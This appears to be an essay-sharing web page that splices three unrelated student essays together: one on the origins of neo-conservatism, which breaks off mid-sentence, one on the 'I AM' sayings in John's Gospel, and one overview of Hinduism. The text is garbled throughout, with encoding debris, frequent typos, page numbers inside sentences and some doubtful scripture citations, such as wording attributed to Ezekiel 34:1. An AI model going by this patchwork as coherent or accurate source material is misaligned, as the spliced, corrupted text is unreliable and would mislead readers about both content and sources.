Outline the historical origins of neo-conservatism and critically assess its key themes - Essay Example Neoconservatives originally approached this standpoint from the left political wing, particularly in reponse to main changes in modernhistory of the United States. The majority of predecessors of neoconservativism were liberals or socialists who actively supported theWorld War II, and whose views were influenced by the Depression-era concepts of ex-New Dealers, Trotskyism followers and trade unionists, especially those who supported the political study of Max Shachtman. â€Å"A number of future neoconservatives such as Jeane Kirkpatrick and Ken Adelman were Shachtmanites in their youth, while others were later involved with Social Democrats USA. Most neoconservatives, however, including those who have been close to SDUSA, will strenuously deny, even contrary to evidence, that they were ever Shachtmanites† (Dean, 2004,p.65). Disagreement with Dà ©tente with the USSR and the ideas of New Left, who were against both Soviet and capitalist ideologies, which occurred as a reaction to the USSR’s break with Stalinism ideology in the middle of 1950s, led the Neoconservatives to break with ‘liberal consent’ established in postwar years. The ‘prototypical’ neoconservative intellectuals I.Kristol and N.Podhoretz were connected to with the magazine named ‘Commentary’, and their academic development is quite apparent in those publications of that period (Stelzer, 2004). Over the course of the 1950s and early 1960s the original neoconservatives rejected communism, but accepted socialism and supported Civil Rights Movement initiated by Martin Luter King, and integration. Whereas, at the beginning of its development, the ideas of neoconservatism became well-known among the followers of hardline Communists, usually Jewish immigrant families, who lived in great poverty and those who has now become famous neoconservative thinkers. â€Å"Many neoconservatives also came to despise the counterculture of the 1960s and what they felt was a

I Am Sayings Of Jesus In Johns Gospel Religion Essay

I Am Sayings Of Jesus In Johns Gospel Religion Essay The aim of this assignment is to exegetically discussing the I AM sayings of Jesus within Johns Gospel, state their significance to salvation. Jesus used symbolic language in talking about Himself and His relationship to people. According to Tenney the reason for Jesus using symbols was to illustrate various aspects of His ministry. John uses symbols to point to the heavenly reality revealed in Jesus. In light of this Butler states that the word symbol does not appear in the Bible however, both the Old and New Testament are rich in symbolic language. Authorship The author of Johns Gospel is not mentioned by name, but early Christian sources indicate this Gospel was written by John, the disciple and son of Zebedee, one of the twelve disciples who was at the Passover meal with Jesus. John referred to himself as the beloved disciple and eyewitness of the events of Jesus life. He identifies himself as, this is the disciple that testifies of these things, and wrote these things; and we know that his testimony is true (John 21:24). Johns Gospel includes seven I AM sayings revealing God as manifested in Jesus and His relationship with Israel. Gods name I AM reveals His identity, His status, and His character, and was given to Jesus so that He can reveal Gods glory to mankind, in the world where many claim to be gods and saviours. The Bread of Life This is the first of Johns sayings where he uses the metaphor to reveal Jesus as life-giving food. As a whole the passage challenges the Galileans to believe in Jesus heavenly origin and incarnation so that they may have eternal life now as well as at the end-time. John describes Jesus as the Son of Man, who is the true food that gives imperishable life; this teaching was a testing to see whether the hearers would decide to follow Christ or reject Him. After Jesus had satisfied the hunger of five thousand people from multiplying five loaves of bread and two fishes; they had became hungry again and asked Jesus to tell them about the spiritual truth about the food that nourished each of them. Milne claims that the Galileans had materialistic agenda and a lacked the awareness of the needs of the heart. For them Gods blessings are a free food supply and a political Messiah who would rid them of their heated Roman leaders. Their concern is with what they can do to help the cause along. They demanded another miracle to prove His claim to give eternal life. They thought that believing could come only by seeing miracles. Jesus points out to them that if they spend their present and future life working to gain material things and ignore the food available to them in Jesus, they will perish. The people challenged Jesus claim that He had sole authority by God to give them imperishable food. They then began to cite Scripture to Jesus by saying, it is written that our forefathers ate manna that was given to them as food from heaven by Moses (Exodus 16:31). The point they were trying to make here is that the manna eaten by their forefathers had a heavenly character. Jesus responded by correcting their misinterpretation of the scripture, and stated that the manna had not come from Moses but from God, his Father. Whereas the manna (food) God supplied in the wilderness through Moses was perishable it gave physical life and satisfying physical hunger and was only for the people of Israel. The bread God gives through Jesus is the true imperishable bread and is the gift of life for the whole world. The people asked Jesus to give them this bread always, they did not understand what it was they were requesting. They did not know the spiritual significance of the food given nor that Jesus Himself is that food, but assumed that Jesus was speaking of some kind of supernatural food that would be available whenever they felt hungry. This then prompts Jesus to finally say, I am the bread of life, who ever comes to me will never go hungry and he who believes in me will never be thirsty. John states that they were focussing on the gift without recognising the giver, and saw Him as a wonder worker. Jesus is the imperishable food, He is the source of life imparts life to humans, and to receive this life one should come to Him in faith not by works. Jesus concern is to confront them with their errors and point them to the true way to find life from God, they only need to believe and rely on Him and on Him alone as the one the Father has sent as a sacrifice for the sin of the world. The Light of the World The second saying of Jesus claim to be the true Light of the people of God, not only of Israel, but of the whole world. Within this passage it gives two ways of life on earth which is dominated by two opposite forces light and darkness. John uses ideas that were current in his time to proclaim that anyone who believes in Jesus and obeys Him cannot be controlled by evil, and because Jesus is the Light darkness cannot overcome Him. In chapter (8:24) Jesus conflict with those who were in darkness because of their sin and unbelief, illustrates an ongoing conflict between light and darkness and further justifying His claim as the Light of the world. What he is saying here is that only He can lead people out of darkness into light, out of their delusion into truth, and from death by giving the light of life. Whoever follows Him will never walk in darkness but have the light of life. From this Jesus is saying that He has a unique relationship with the Father and He is the revelation of the one and only God, who is light and salvation. Jesus is the Light of the world in the sense that He is the radiance of Gods glory in the world, and bearer of the light of God. In (Isa 49:6) He is also recall as the Servant of the Lord who would be a light for the Gentiles who will bring salvation to all mankind. The Good Shepherd and the Door This passage contains two metaphorically I AM sayings whereby Jesus declares himself to be the Good Shepherd and the Door. Here he promises protection and a way of salvation for his followers. Firstly by taking on the role of Shepherd Jesus reveals himself as the Christ and Shepherd King, who leads his people with compassion, protecting and caring for them while providing a sense of belonging to himself and God. As the shepherd goes before the sheep they in turn humbly follow Him, trusting and obeying His words and not the words of those who oppose Him. Secondly Jesus points out that there is only one door into the sheepfold, implies that He is the only door to Salvation. By proclaiming that He is the door for the sheep, Jesus is saying that He is the only way by which one can experience God and His love; the only one through whom heavenly secrets and divine life are imparted to those who obey Him, He is their protector and the means by which they obtain spiritual nourishment, He is the only way of communication between heaven and earth. In addition to this Jesus claims that thieves and robbers who came before Him can never enter the sheepfold to mislead the sheep (people). Here Jesus is referring to the Pharisees, the Jewish leaders, who exercise authority over the people of Israel by misinterpreting the Law to 4 their own advantage; and the leaders who attempt, to win the loyalty of the people before Christ came in the flesh. He says, Like thieves, they approach was secret and crafty, and like robbers they were engaged in violence and destruction (Ezek 34:1). They had not been sent by God either through Christ, but illegitimately claim leadership. Jesus states that the sheep shall no longer follow or listen to the voice of these false leaders, because they now know and hear the voice of the true shepherd. The Resurrection and Life In chapter eleven Jesus affirms He is the resurrection and life, and John quotes that raising Lazarus from the dead at Bethany is a prelude to Jesus own death and resurrection. He claims that the resurrection life is like a future experience and a present reality. Secondly John claims that Jesus is the only one who can raise the dead and give life. Therefore, the resurrection and life can only be experienced in Jesus. Consequently the word life is identical to eternal life, the divine gift given to those who believe in Jesus. Ultimately, those who receive His life are born of the Spirit. Christ does not only raise the dead by His voice giving life, but He is the resurrection and the life, having the power to resurrection fullness of life, also affirming that He works in oneness with God in raising the dead. According to Jesus, all human beings will be resurrected after death to receive Gods judgement, for it is appointed for them to die once, and after that to face judgement (Heb 9:27). The words will never die does not promise immortality, but those who believe in Jesus by faith will face physical death like every other human being, but death will have no control over them. By the power of Jesus they will rise up from the dead to experience heavenly life in all its fullness. Therefore the one who lives and keeps on believing will not perish eternally. The Way, the Truth, and the Life John sees this as Jesus pastoral speech delivered to His disciples before He leaves them to go to the Father. In spite of their close relationship with Jesus, 5 His disciples still did not understand His destination. From this misunderstanding Jesus makes His sixth I AM saying, and it is the only one to be followed by three predicates. He profess that he is the way, the truth and the life, and that no one comes to the Father but through Him. Here the way is the one that is emphasised because it corresponds with Jesus statement in (14:4) Where I go you Know, and the way you know, and Thomas inquiry in (14:5), Lord we do not know where you are going; how can we know the way? The predicates truth and life are then added to explain the term way. In response to Thomass question Jesus answers him by saying, I am going to be with God, the Father of us all. So when He states, I am the way, He is saying that it is only in communion with Him that one can reach God. Here John stresses that Jesus is Gods only revelation and the only way of salvation. Jesus came from God and is going back to God by way of being crucified and then resurrected; He is Gods self-revelation and the one who is the only way to God. The two nouns truth and life, reveal that Jesus is the true and living way to God, because He is the truth of God and the life of God. Here Johns emphasis is on the person Jesus who is the way to the presence of God there one wil l experience eternal joy. Parallel to verse 6 is Psalm 16:11 which speak of those who follow the path of life will experience joy to the full in the presence of God. Jesus is the Word incarnate and teaches to His disciples that He is the true and life-giving way to the presence of God in peace and prosperity; Isaiah (30:23-26), also speaks of this prosperity to the people who obey the word. As the way, Jesus gives us access to the Father; He will also include with Himself all those who trust in Him when He returns to His Father. As the truth, Jesus reveals God as the Truth to the world in His love, mercy and deliverance. As the life, Jesus gives life and peace to all those who believe in Him. Only those who see Gods love and faithfulness in Jesus and draws towards Him, will know the way to reach God, this is wholly expressed in His statement no one comes to the Father except through me. 6 Since Jesus is the embodiment of divine truth and life, the only way to enter the heavenly realm is through Him. The Vine In the final I AM sayings Jesus uses the metaphor of the vine and the branches. He reveals Himself as the true vine, and compares Himself with the people of Israel who he metaphorically described as branches who had failed to bear fruit, therefore failing to glorify God. Fortunately, what is known as failure and impossible with man, can be turned into success and become possible through Christ. Knowing He is from heaven and the life He possesses is divine, He can also supply life to the branches. Here John presents Jesus not as one who bears fruit, but as the source of power allowing those who stay in union with Him to bear fruit and fulfil the plan of God. Hebrews 9:24 quotes that the tabernacle in heaven is called the true tent and the earthly sanctuary is known as a copy of the true one that is in heaven. Jesus reveals Himself to be the true vine. This vine is of heavenly origin, and therefore has the ability to reveal heavenly reality and give life to the branches which are united with it. Jesus refers to God as the vinedresser this shows us that God is the owner and planter of the vine and the branches. The function of the branches is to bear fruit, in other words one need to do good deeds after repentance (Luke 6:35, Matt 3:10). God expects good works from human beings, and failure to perform them will lead to Gods judgement, resulting in one being separated from Him and to destruction. Those who bear fruit reproduce Jesus life by which the Fathers glory will be revealed to the world. Jesus continues the metaphor by referring to all His disciples saying, every branch of mine. Meaning those who are united with Jesus will be recognized by the world as His disciples. The Father, the vinedresser, takes away any branches that does not bear fruit, and prunes those that do. Clearly what is seen here is that God is the one who controls the whole process of fruit-bearing. 7 He purifies the vine to protect the fruit-bearing branches by removing branches that do not bear fruit meaning followers of Christ who becomes unfaithful. He takes them away from His people and consigning them to eternal punishment. God also purifies the fruitful branches by pruning them so that they will bear more fruit. Gods pruning of believers takes place through the saving mission of Christ words and deeds. Jesus tells His disciples that they are already clean by the word He has spoken, which is the Fathers word. Here word stands for the whole message of salvation preached and performed by Jesus who also declares God and His love to mankind. Those who receive Jesus and His word by faith will see Gods Glory and are passed from death to life. The disciples, who have received Jesus word, are already clean; however, cleaning is a process; as long as they remain in Christ God the Father will continue to clean them so that they will bear more fruit. Jesus emphasises this point so that they realise the Father is already pruning them and they are already cleansed making them fit for union with Christ. They need not attempt to wipe out evil from their minds or partake in any form of meditation in order to achieve union with God; for union with Christ, and in Him with God, is a gift that has already been given and need to be received by faith. Jesus exhortation, abide in me and I in you, is the key statement in chapter fifteen. Here Jesus issues a command, in terms of the metaphor of a vine and it branches. This metaphor highlights the communal life of which the person who does the abiding is part of. Life for the church flows from Jesus, and one cannot absorb life from Him unless they are united with Him. All one need to do is to remain in union with Him. When we abide in Christ, and make His word our theme of meditation in our everyday life in love and obedience, we can apply His word to changes in our every day situation. Believers can be nurtured by Jesus life through meditating on and absorbing His words. Conclusion Jesus came into the world from heaven to bring salvation to mankind, by giving up His own life as a sacrifice on the cross. Gods name I AM and glory are given to Him revealing them to those who believe in Him as the anointed Messiah sent by God into the world. He has divine authority and delegated power to give heavenly life to everyone who comes to Him. There is no other person one can look for divine life except in the one whom God has authorized. So to follow and abide in Jesus is the only way to salvation, as we observe from His I AM sayings. Salvation is no longer confined to the nation of Israel but is extended to all nations of the world.

Hinduism :: essays research papers

Hinduism hinduism The term Hinduism refers to the civilization of the Hindus (originally, the inhabitants of the land of the Indus River). Introduced in about 1830 by British writers, it properly denotes the Indian civilization of approximately the last 2,000 years, which evolved from Vedism the religion of the Indo-European peoples who settled in India in the last centuries of the 2nd millennium BC. The spectrum that ranges from the level of popular Hindu belief to that of elaborate ritual technique and philosophical speculation is very broad and is attended by many stages of transition and varieties of coexistence. Magic rites, animal worship, and belief in demons are often combined with the worship of more or less personal gods or with mysticism, asceticism, and abstract and profound theological systems or esoteric doctrines. The worship of local deities does not exclude the belief in pan-Indian higher gods or even in a single high God. Such local deities are also frequently looked down up on as manifestations of a high God. In principle, Hinduism incorporates all forms of belief and worship without necessitating the selection or elimination of any. It is axiomatic that no religious idea in India ever dies or is superseded-it is merely combined with the new ideas that arise in response to it. Hindus are inclined to revere the divine in every manifestation, whatever it may be, and are doctrinally tolerant, allowing others - including both Hindus and non-Hindus - whatever beliefs suit them best. A Hindu may embrace a non-Hindu religion without ceasing to be a Hindu, and because Hindus are disposed to think synthetically and to regard other forms of worship, strange gods, and divergent doctrines as inadequate rather than wrong or objectionable, they tend to believe that the highest divine powers are complement one another. Few religious ideas are considered to be irreconcilable. The core of religion does not depend on the existence or nonexistence of God or on whether th ere is one god or many. Because religious truth is said to transcend all verbal definition, it is not conceived in dogmatic terms. Moreover, the tendency of Hindus to distinguish themselves from others on the basis of practice rather than doctrine further de-emphasizes doctrinal differences. Hinduism is both a civilization and a congregation of religions; it has neither a beginning or founder, nor a central authority, hierarchy, or organization. Hindus believe in an uncreated, eternal, infinite, transcendent, and all-embracing principle, which, comprising in itself being and non-being, is the sole reality, the ultimate cause and foundation, source, and goal of all existence.